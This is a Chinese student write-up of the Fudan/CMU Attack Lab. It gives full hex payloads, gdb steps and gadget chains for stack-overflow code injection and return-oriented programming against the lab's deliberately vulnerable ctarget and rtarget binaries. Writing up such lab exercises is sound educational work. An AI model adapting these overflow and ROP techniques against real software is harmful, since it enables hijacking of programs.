Introduction to Computer Systems I (H) @ Fudan University, fall 2019.
实验简介 附件说明 ctarget
:Level 1 ~ 3 的攻击目标,未开启栈溢出保护,可以自己写可执行代码。rtarget
:Level 4 ~ 5 的攻击目标,开启了栈溢出保护,需要使用 ROP(Return-Oriented Programming)来实现注入。hex2raw
:辅助工具,用于将十六进制数转换为对应字符(串)。farm.c
:ROP 中 gadget 的来源。cookie.txt
:记录了 cookie
的值,解题过程中会用到。实验报告 准备工作 0.1 反汇编 ctarget
和 rtarget
使用 objdump 反汇编 ctarget
和 rtarget
程序,并将输出重定向到 ctarget.asm
和 rtarget.asm
。
1
2
objdump -d ctarget > ctarget.asm
objdump -d rtarget > rtarget.asm
0.2 如何输入用于注入的字符串 用于注入的字符串中有很多不可见字符不能直接用键盘输入,因此这里需要借助本 Lab 提供的辅助工具 hex2raw 来实现这些不可见字符的输入。
0.2.1 hex2raw 使用方法 输入文件 exploit.txt
的内容:以空格隔开的 2 位一组的十六进制数 输出文件 exploit_raw.txt
的内容:还原出的字符串 编辑输入文件 exploit.txt
:
使用 hex2raw 还原字符串:
1
./hex2raw < exploit.txt > exploit_raw.txt
查看输出文件 exploit_raw.txt
:
0.2.2 输入字符串 以 ctarget
程序为例:
1
./ctarget -q < exploit_raw.txt
输出信息:
1
2
3
Cookie: 0x59b997fa
Type string:No exploit. Getbuf returned 0x1
Normal return
Level 1: Code Injection 1.1 本关目标 执行函数 touch1
。
1.2 本关解答 exploit.txt
中的内容:
1
2
3
4
5
6
c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00
c0 17 40 00 00 00 00 00
1.3 解题思路 输入一个长字符串,使函数 test
在调用函数 getbuf
时发生缓冲区溢出,利用溢出部分修改函数的返回地址,从而使函数 getbuf
不返回到函数 test
,而是返回到目标函数 touch1
。
1.4 解题过程 1.4.0 总览 讲义中给出了函数 test
和 getbuf
的源代码:
1
2
3
4
5
void test () {
int val ;
val = getbuf ();
printf ( "No exploit. Getbuf returned 0x%x \n " , val );
}
1
2
3
4
5
unsigned getbuf () {
char buf [ BUFFER_SIZE ];
Gets ( buf );
return 1 ;
}
在函数 getbuf
中,函数 Gets
将读取我们输入的字符串,并保存在缓冲区 buf
中。可见,这里存在缓冲区溢出漏洞。
1.4.1 观察函数 getbuf
在 ctarget.asm
中找到函数 getbuf
对应的汇编语句:
1
2
3
4
5
6
7
8
9
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
4017a8
: sub $0x28,%rsp
对应 C 语言代码中的 char buf[BUFFER_SIZE]
,可见 BUFFER_SIZE
的值即为 40
。
因此,当我们输入的字符串长度超过 40 时,就将造成缓冲区溢出。
1.4.2 查看函数 touch1
的地址 在 ctarget.asm
中找到函数 touch1
对应的汇编语句:
1
2
00000000004017c0 <touch1>:
...
可见函数 touch1
的地址为 0x4017c0
。
1.4.3 ATTACK 函数 getbuf
在栈中没有保存寄存器,也没有其他局部变量。因此由栈帧的结构可知,当发生缓冲区溢出时,溢出部分将直接覆盖调用者栈帧中的返回地址。
构造用于注入的字符串:
输入任意 40 个字符填满缓冲区; 输入作为地址的 8 个字符导致溢出,溢出部分将返回地址修改为 touch1
的地址 0x4017c0
。注意地址的字节顺序应当按照小端序(little endian),即低位字节保存在低地址,高位字节保存在高地址。 编辑输入文件 exploit.txt
:
1
2
3
4
5
6
c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00
c0 17 40 00 00 00 00 00
在 ctarget
程序中输入该字符串:
1
cat exploit.txt | ./hex2raw | ./ctarget -q
输出信息:
1
2
3
4
5
6
7
8
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:1:C2 A9 20 32 30 31 39 20 43 6F 70 79 72 69 67 68 74 20 48 61 6B 75 6C 61 2C 20 43 43 20 42 59 2D 4E 43 2D 53 41 20 00 00 C0 17 40 00 00 00 00 00
1.4.4 运行结果 Level 1 运行结果 Level 2: Code Injection 2.1 本关目标 执行函数 touch2
,并传入 cookie
的值作为参数 val
。
2.2 本关解答 exploit.txt
中的内容:
1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
2.3 解题思路 同样,还是利用函数 getbuf
的缓冲区溢出漏洞。只是在返回前需要额外一步操作:将 cookie
的值传给 %rdi
寄存器(第 1 个参数)。我们可以自行构造汇编代码来实现这一点。
那么如何执行我们构造的代码呢?我们可以将这段代码放在缓冲区内,然后利用缓冲区溢出部分修改函数的返回地址,使函数 getbuf
返回到这段代码的起始地址。之后再写一段用于返回到目标函数 touch2
的返回语句即可。
2.4 解题过程 2.4.0 总览 讲义中给出了函数 touch2
的源代码:
1
2
3
4
5
6
7
8
9
10
11
void touch2 ( unsigned val ) {
vlevel = 2 ; /* Part of validation protocol */
if ( val == cookie ) {
printf ( "Touch2!: You called touch2(0x%.8x) \n " , val );
validate ( 2 );
} else {
printf ( "Misfire: You called touch2(0x%.8x) \n " , val );
fail ( 2 );
}
exit ( 0 );
}
可见需要传入 cookie
的值作为参数 val
。
2.4.1 查看函数 touch2
的地址 在 ctarget.asm
中找到函数 touch2
对应的汇编语句:
1
2
00000000004017ec <touch2>:
...
可见函数 touch2
的地址为 0x4017ec
。
2.4.2 查看缓冲区的起始地址 使用 gdb 调试 ctarget
。
在函数 getbuf
的入口处设置一个断点。
运行,到断点处暂停,执行一步 4017a8
: sub $0x28,%rsp
,查看此时 %rsp
的值。
1
2
3
(gdb) r
(gdb) ni
(gdb) p/x $rsp
输出信息:
可见此时 %rsp
的值为 0x5561dc78
,这就是缓冲区的起始地址。
2.4.3 构造汇编代码 这段汇编代码需要实现的功能:
将 cookie
的值传给 %rdi
寄存器(第 1 个参数); 返回到目标函数 touch2
。 其中 cookie
的值由附件 cookie.txt
给出,为 0x59b997fa
,函数 touch2
的地址由 2.4.1 节可知为 0x4017ec
。
由此构造汇编代码:
1
2
3
mov $0x59b997fa , %rdi
push $0x4017ec
ret
因为 ret
时将弹栈,并将弹出的值传给 %rip
,这里 push $0x4017ec
的作用就是将函数 touch2
的地址先压入栈中。由于栈后进先出(LIFO)的特点,这样弹栈时这个地址就会被当作函数的返回地址。
2.4.4 将汇编代码转换为机器码 将这段汇编代码保存在 level2.s
文件中。
使用 gcc 编译得到目标代码 level2.o
:
使用 objdump 反汇编 level2.o
:
输出信息:
1
2
3
4
5
6
7
8
9
level2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
7: 68 ec 17 40 00 pushq $0x4017ec
c: c3 retq
这样就得到了对应的机器码:
1
2
3
48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
2.4.5 ATTACK 构造用于注入的字符串:
输入这段机器码(13 个字符),其起始地址就是缓冲区的起始地址; 输入任意 27 个字符填满缓冲区的剩余部分; 输入作为地址的 8 个字符导致溢出,溢出部分将返回地址修改为缓冲区的起始地址 5561dc78
。 编辑输入文件 exploit.txt
:
1
2
3
4
5
6
48 c7 c7 fa 97 b9 59 68
ec 17 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
在 ctarget
程序中输入该字符串:
1
cat exploit.txt | ./hex2raw | ./ctarget -q
输出信息:
1
2
3
4
5
6
7
8
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
2.4.6 运行结果 Level 2 运行结果 Level 3: Code Injection 3.1 本关目标 执行函数 touch3
,并传入表示 cookie
的值的字符串作为参数 sval
。
3.2 本关解答 exploit.txt
中的内容:
1
2
3
4
5
6
7
8
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
3.3 解题思路 与 Level 2 类似,区别在于这次我们需要构造一个字符串,而不是直接传一个整数。需要注意字符串的保存位置。
3.4 解题过程 3.4.0 总览 讲义中给出了函数 hexmatch
和 touch3
的源代码:
1
2
3
4
5
6
7
8
/* Compare string to hex represention of unsigned value */
int hexmatch ( unsigned val , char * sval ) {
char cbuf [ 110 ];
/* Make position of check string unpredictable */
char * s = cbuf + random () % 100 ;
sprintf ( s , "%.8x" , val );
return strncmp ( sval , s , 9 ) == 0 ;
}
1
2
3
4
5
6
7
8
9
10
11
void touch3 ( char * sval ) {
vlevel = 3 ; /* Part of validation protocol */
if ( hexmatch ( cookie , sval )) {
printf ( "Touch3!: You called touch3( \" %s \" ) \n " , sval );
validate ( 3 );
} else {
printf ( "Misfire: You called touch3( \" %s \" ) \n " , sval );
fail ( 3 );
}
exit ( 0 );
}
可见需要传入表示 cookie
的值的字符串作为参数 sval
。同时函数 hexmatch
的设计使得直接获取用于检验的字符串较为困难,因此我们需要自行构造这个字符串。
3.4.1 查看函数 touch3
的地址 在 ctarget.asm
中找到函数 touch3
对应的汇编语句:
1
2
00000000004018fa <touch3>:
...
可见函数 touch3
的地址为 0x4018fa
。
3.4.2 构造表示 cookie
的值的字符串 已知 cookie
的值为 0x59b997fa
,我是懒得去对照 ASCII 码表了,直接交给程序处理。编写代码如下:
1
2
3
4
5
6
7
void raw2hex ( char * raw_str ) {
int len = strlen ( raw_str );
printf ( "Output:" );
for ( int i = 0 ; i < len ; ++ i )
printf ( " %x" , raw_str [ i ]);
printf ( " 00 \n " ); // add '\0' to the end
}
传入字符串 59b997fa
(已去除 0x
前缀),输出结果:
1
Output: 35 39 62 39 39 37 66 61 00
即为需要构造的字符串的十六进制数表示。
3.4.3 字符串的保存位置 需注意,该字符串不能保存在函数 getbuf
的缓冲区中,即函数返回地址在栈中保存位置的下方。否则返回到函数 touch3
后,在进行字符串比较前,一系列压栈操作将使缓冲区里的内容被新写入的数据覆盖。如下所示:
1
2
3
4
00000000004018fa <touch3>:
4018fa: 53 push %rbx
...
401911: e8 36 ff ff ff callq 40184c <hexmatch>
1
2
3
4
5
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
...
因此,字符串应当保存在函数返回地址在栈中保存位置的上方,也就是函数 test
的栈帧中。方便起见,不妨保存在返回地址保存位置的下一个地址,即缓冲区的起始地址 0x5561dc78
加上偏移量 48
后得到的地址 0x5561dca8
。
3.4.4 构造汇编代码 这段汇编代码需要实现的功能:
将这个字符串的地址传给 %rdi
寄存器(第 1 个参数); 返回到目标函数 touch3
。 其中,字符串的地址由 3.4.3 节可知为 0x5561dca8
,函数 touch3
的地址由 3.4.1 节可知为 0x4018fa
。
类似 2.4.3 节,构造汇编代码:
1
2
3
mov $0x5561dca8 , %rdi
push $0x4018fa
ret
3.4.5 将汇编代码转换为机器码 类似 2.4.4 节,得到对应的机器码:
1
2
3
48 c7 c7 a8 dc 61 55
68 fa 18 40 00
c3
3.4.6 ATTACK 构造用于注入的字符串:
输入这段机器码(13 个字符); 输入任意 27 个字符填满缓冲区的剩余部分; 输入作为地址的 8 个字符导致溢出,溢出部分将返回地址修改为缓冲区的起始地址 5561dc78
; 输入表示 cookie
的值的字符串。 编辑输入文件 exploit.txt
:
1
2
3
4
5
6
7
8
48 c7 c7 a8 dc 61 55 68
fa 18 40 00 c3 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
00
在 ctarget
程序中输入该字符串:
1
cat exploit.txt | ./hex2raw | ./ctarget -q
输出信息:
1
2
3
4
5
6
7
8
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00
3.4.7 运行结果 Level 3 运行结果 Level 4: Return-Oriented Programming 4.1 本关目标 同 Level 2。区别在于 rtarget
程序开启了地址随机化(Address Space Layout Randomization, ASLR)和栈不可执行机制(No-eXecute, NX),但同时也新增了辅助用的 gadget farm。这次我们需要进行 ROP 攻击,利用源程序已有的代码来构造我们需要的指令序列。
4.2 本关解答 exploit.txt
中的内容:
1
2
3
4
5
6
7
8
9
c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00
cc 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
4.3 解题思路 同 2.3 节,目标是将 cookie
的值传给 %rdi
寄存器,并最终返回到目标函数 touch2
。
由于没有指令可以将一个特定的立即数直接传给某个寄存器,这里我们可以将这个立即数先保存在栈中,然后利用 popq
指令弹栈传给某个寄存器,此后再利用 movq
、movl
等指令在寄存器间互相传递。
为了使指令能够连成一个序列,我们需要每句指令后都紧接着一句 ret
指令(对应机器码 c3
)。先提前将下一条指令的地址保存在栈中,然后利用 ret
指令弹栈传给 %rip
,从而实现跳转。
需注意,由题目要求,只允许跳转到以下位置:
函数 touch1
、touch2
、touch3
的地址 注入代码的任意位置 gadget farm 中的某一个 gadget(即 start_farm
和 end_farm
之间的地址) 4.4 解题过程 4.4.0 总览 原本的汇编代码:
1
2
3
mov $0x59b997fa , %rdi
push $0x4017ec
ret
我们逐句进行改写。
4.4.1 第 1 句指令 由 4.3 节的分析,我们可以将 0x59b997fa
先保存在栈中,然后利用 popq
指令弹栈传给某个寄存器,此后再利用 movq
、movl
等指令传给 %rdi
寄存器。
4.4.1.1 第 1 个 gadget 注意到 gadget farm 中函数 getval_280
对应的汇编语句:
1
2
3
00000000004019ca <getval_280>:
4019ca: b8 29 58 90 c3 mov $0xc3905829,%eax
4019cf: c3 retq
其中机器码 58 90 c3
对应汇编指令:
该指令的地址为 0x4019cc
。
4.4.1.2 第 2 个 gadget 注意到 gadget farm 中函数 addval_273
对应的汇编语句:
1
2
3
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
其中机器码 48 89 c7 c3
对应汇编指令:
该指令的地址为 0x4019a2
。
4.4.1.3 整合 于是可改写第 1 句指令为:
1
2
3
4
popq %rax
ret
movq %rax , %rdi
ret
在栈中需要保存的内容为:
1
2
3
cc 19 40 00 00 00 00 00 /* popq %rax */
fa 97 b9 59 00 00 00 00 /* the value of cookie */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
分别对应:
第 1 个 gadget 中指令的地址 0x4019cc
cookie
的值 0x59b997fa
第 2 个 gadget 中指令的地址 0x4019a2
4.4.2 第 2 ~ 3 句指令 这次就不需要压栈了,直接将函数 touch2
的地址保存在栈中即可,上一条指令结尾的 ret
指令将使函数返回到目标函数 touch2
。
在栈中需要保存的内容为:
1
ec 17 40 00 00 00 00 00 /* the address of touch2 */
表示函数 touch2
的地址 0x4017ec
。
4.4.3 ATTACK 构造用于注入的字符串:
输入任意 40 个字符填满缓冲区; 输入由以上分析可知在栈中需要保存的内容。 编辑输入文件 exploit.txt
:
1
2
3
4
5
6
7
8
9
c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00 /* 40 bytes of trash */
cc 19 40 00 00 00 00 00 /* popq %rax */
fa 97 b9 59 00 00 00 00 /* the value of cookie */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
ec 17 40 00 00 00 00 00 /* the address of touch2 */
在 rtarget
程序中输入该字符串:
1
cat exploit.txt | ./hex2raw | ./rtarget -q
输出信息:
1
2
3
4
5
6
7
8
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:2:C2 A9 20 32 30 31 39 20 43 6F 70 79 72 69 67 68 74 20 48 61 6B 75 6C 61 2C 20 43 43 20 42 59 2D 4E 43 2D 53 41 20 00 00 CC 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 17 40 00 00 00 00 00
4.4.4 运行结果 Level 4 运行结果 Level 5: Return-Oriented Programming 5.1 本关目标 同 Level 3。区别在于这次我们需要进行 ROP 攻击。
5.2 本关解答 exploit.txt
中的内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00
cc 19 40 00 00 00 00 00
20 00 00 00 00 00 00 00
42 1a 40 00 00 00 00 00
34 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
06 1a 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00
5.3 解题思路 同 3.3 节,目标是构造表示 cookie
的值的字符串,将其地址传给 %rdi
寄存器,并最终返回到目标函数 touch3
。
解题思路整体类似 4.3 节。
需注意,由于 rtarget
程序开启了地址随机化,不能直接得到字符串的地址,因此需要利用 movq
、movl
等指令将 %rsp
的值传给某个寄存器,以获得栈的起始地址。之后再为这个地址加上一个偏移量 offset
,从而得到字符串的实际地址。
为了不影响指令间的跳转,字符串应当保存在所有栈中保存内容的最后。
5.4 解题过程 5.4.0 总览 原本的汇编代码:
1
2
3
mov $0x5561dca8 , %rdi
push $0x4018fa
ret
我们逐句进行改写。
5.4.1 第 1 句指令 由 5.3 节的分析,我们不能直接得到字符串的地址,因此需要利用 movq
、movl
等指令将 %rsp
的值传给某个寄存器。
当然,此时这个寄存器保存的值并不是字符串的地址。于是我们需要为这个地址加上一个偏移量 offset
,从而得到字符串的实际地址。但字符串将保存在所有栈中保存内容的最后,因此 offset
的值我们最后才能得到。
5.4.1.1 第 3 个 gadget 注意到 gadget farm 中函数 addval_190
对应的汇编语句:
1
2
3
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
其中机器码 48 89 e0 c3
对应汇编指令:
该指令的地址为 0x401a06
。
5.4.1.2 第 2 个 gadget 由 4.4.1.2 节,第 2 个 gadget 中有汇编指令:
该指令的地址为 0x4019a2
。
5.4.1.3 第 4 个 gadget 惊奇地注意到 gadget farm 中函数 add_xy
对应的汇编语句(竟然还有这种函数):
1
2
3
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
其对应汇编指令:
1
2
leaq ( %rdi , %rsi , 1 ), %rax
ret
该指令的地址为 0x4019d6
。
其作用是将 %rdi
和 %rsi
的值之和传给 %rax
寄存器。目前 %rsp
的值保存在 %rdi
寄存器中,因此我们需要想办法把偏移量 offset
的值传到 %rsi
寄存器,从而我们就能利用这个 gadget 中的指令得到字符串的实际地址。
类似 4.4.1 节,我们可以将 offset
的值先保存在栈中,然后利用 popq
指令弹栈传给某个寄存器,此后再利用 movq
、movl
等指令传到 %rsi
寄存器。
5.4.1.4 第 1 个 gadget 由 4.4.1.1 节,第 1 个 gadget 中有汇编指令:
该指令的地址为 0x4019cc
。
现在我们的目标就转化为利用 movq
、movl
等指令将 %rax
的值传到 %rsi
寄存器。遗憾的是,gadget farm 中并不存在直接将 %rax
的值传给 %rsi
寄存器的汇编指令,因此需要进行多次传递。
5.4.1.5 第 5 个 gadget 注意到 gadget farm 中函数 addval_436
对应的汇编语句:
1
2
3
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
其中机器码 89 ce 90 90 c3
对应汇编指令:
该指令的地址为 0x401a13
。
5.4.1.6 第 6 个 gadget 注意到 gadget farm 中函数 getval_159
对应的汇编语句:
1
2
3
0000000000401a33 <getval_159>:
401a33: b8 89 d1 38 c9 mov $0xc938d189,%eax
401a38: c3 retq
其中机器码 89 d1 38 c9 c3
对应汇编指令:
1
2
3
movl %edx , %ecx
cmpb %cl , %cl
ret
该指令的地址为 0x401a34
。这里 cmpb %cl,%cl
相当于一条无用指令。
5.4.1.7 第 7 个 gadget 注意到 gadget farm 中函数 addval_487
对应的汇编语句:
1
2
3
0000000000401a40 <addval_487>:
401a40: 8d 87 89 c2 84 c0 lea -0x3f7b3d77(%rdi),%eax
401a46: c3 retq
其中机器码 89 c2 84 c0 c3
对应汇编指令:
1
2
3
movl %eax , %edx
testb %al , %al
ret
该指令的地址为 0x401a42
。这里 testb %al,%al
相当于一条无用指令。
至此,我们可以将 %rax
的值传到 %rsi
寄存器了(%eax
-> %edx
-> %ecx
-> %esi
)。
5.4.1.8 整合 于是可改写第 1 句指令为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
popq %rax
ret
movl %eax , %edx
testb %al , %al
ret
movl %edx , %ecx
cmpb %cl , %cl
ret
movl %ecx , %esi
ret
movq %rsp , %rax
ret
movq %rax , %rdi
ret
leaq ( %rdi , %rsi , 1 ), %rax
ret
movq %rax , %rdi
ret
在栈中需要保存的内容为:
1
2
3
4
5
6
7
8
9
cc 19 40 00 00 00 00 00 /* popq %rax */
ff 00 00 00 00 00 00 00 /* the value of offset */
42 1a 40 00 00 00 00 00 /* movl %eax,%edx */
34 1a 40 00 00 00 00 00 /* movl %edx,%ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx,%esi */
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
d6 19 40 00 00 00 00 00 /* leaq (%rdi,%rsi,1),%rax */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
分别对应:
第 1 个 gadget 中指令的地址 0x4019cc
偏移量 offset
的值(目前先用 0xff
占位) 第 7 个 gadget 中指令的地址 0x401a42
第 6 个 gadget 中指令的地址 0x401a34
第 5 个 gadget 中指令的地址 0x401a13
(%rsi
寄存器就位) 第 3 个 gadget 中指令的地址 0x401a06
第 2 个 gadget 中指令的地址 0x4019a2
(%rdi
寄存器就位) 第 4 个 gadget 中指令的地址 0x4019d6
(得到字符串地址) 第 2 个 gadget 中指令的地址 0x4019a2
(传给 %rdi
寄存器) 5.4.2 第 2 ~ 3 句指令 同 4.4.2 节,直接将函数 touch3
的地址保存在栈中即可,上一条指令结尾的 ret
指令将使函数返回到目标函数 touch3
。
在栈中需要保存的内容为:
1
fa 18 40 00 00 00 00 00 /* the address of touch3 */
表示函数 touch3
的地址 0x4018fa
。
5.4.3 确定偏移量的值 构造用于注入的字符串(初步):
输入任意 40 个字符填满缓冲区; 输入由以上分析可知在栈中需要保存的内容; 输入表示 cookie
的值的字符串。 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00 /* 40 bytes of trash */
cc 19 40 00 00 00 00 00 /* popq %rax */
ff 00 00 00 00 00 00 00 /* the value of offset */
42 1a 40 00 00 00 00 00 /* movl %eax,%edx */
34 1a 40 00 00 00 00 00 /* movl %edx,%ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx,%esi */
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
d6 19 40 00 00 00 00 00 /* leaq (%rdi,%rsi,1),%rax */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
fa 18 40 00 00 00 00 00 /* the address of touch3 */
35 39 62 39 39 37 66 61 /* the value of string */
00
可见,第 11 行跳转完后 得到了 %rsp
的值(此时 %rsp
指向第 12 行),第 16 行是字符串的地址,因此偏移量 offset
的值为 32
(即 0x20
)。
将第 7 行的占位符修改为 offset
的实际值 0x20
:
1
2
3
...
20 00 00 00 00 00 00 00 /* the real value of offset */
...
5.4.4 ATTACK 编辑输入文件 exploit.txt
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
c2 a9 20 32 30 31 39 20
43 6f 70 79 72 69 67 68
74 20 48 61 6b 75 6c 61
2c 20 43 43 20 42 59 2d
4e 43 2d 53 41 20 00 00 /* 40 bytes of trash */
cc 19 40 00 00 00 00 00 /* popq %rax */
20 00 00 00 00 00 00 00 /* the real value of offset */
42 1a 40 00 00 00 00 00 /* movl %eax,%edx */
34 1a 40 00 00 00 00 00 /* movl %edx,%ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx,%esi */
06 1a 40 00 00 00 00 00 /* movq %rsp,%rax */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
d6 19 40 00 00 00 00 00 /* leaq (%rdi,%rsi,1),%rax */
a2 19 40 00 00 00 00 00 /* movq %rax,%rdi */
fa 18 40 00 00 00 00 00 /* the address of touch3 */
35 39 62 39 39 37 66 61 /* the value of string */
00
在 rtarget
程序中输入该字符串:
1
cat exploit.txt | ./hex2raw | ./rtarget -q
输出信息:
1
2
3
4
5
6
7
8
Cookie: 0x59b997fa
Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
result 1:PASS:0xffffffff:rtarget:3:C2 A9 20 32 30 31 39 20 43 6F 70 79 72 69 67 68 74 20 48 61 6B 75 6C 61 2C 20 43 43 20 42 59 2D 4E 43 2D 53 41 20 00 00 CC 19 40 00 00 00 00 00 20 00 00 00 00 00 00 00 42 1A 40 00 00 00 00 00 34 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 06 1A 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 A2 19 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00
5.4.5 运行结果 Level 5 运行结果 测试环境 Ubuntu 18.04.3 LTS (GNU/Linux 5.0.0-32-generic x86_64) GCC 7.4.0 GDB 8.1.0 参考资料 Assignment #4: Attack Lab - CS356 Introduction to Computer Systems - USC